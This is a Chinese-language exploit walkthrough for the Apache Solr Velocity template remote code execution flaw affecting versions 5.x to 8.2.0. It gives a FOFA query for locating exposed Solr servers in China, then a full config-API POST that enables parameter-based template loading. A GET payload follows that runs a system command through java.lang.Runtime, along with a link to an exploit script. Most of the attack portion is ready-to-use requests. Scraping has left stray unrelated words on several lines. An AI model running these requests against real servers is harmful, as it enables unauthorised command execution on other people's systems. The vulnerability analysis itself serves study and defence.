Solr是一个独立的企业级搜索应用服务器,它对外提供相似于Web-service的API接口。用户能够经过http请求,向搜索引擎服务器提交必定格式的XML文件,生成索引;也能够经过Http Get操做提出查找请求,并获得XML格式的返回结果。java
该漏洞的产生是因为两方面的缘由:git
当攻击者能够直接访问Solr控制台时,能够经过发送相似/节点名/config的POST请求对该节点的配置文件作更改。github
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否容许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将容许用户经过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者能够经过构造一个具备威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)web
Apache Solr 5.x - 8.2.0,存在config API版本json
使用fofa搜索语法
app="Solr" && country="CN"
安全
如上图所示的这个名称就是Core的名称 直接构造POST请求,在/solr/test/config目录POST如下数据(修改Core的配置)
服务器
POST /solr/test/config HTTP/1.1 Host: ip:port Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }
使用exp,进行漏洞利用
网络
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip:port Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/app
本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵照《网络安全法》等相关法律法规。
致谢:上上下下左左右右basvg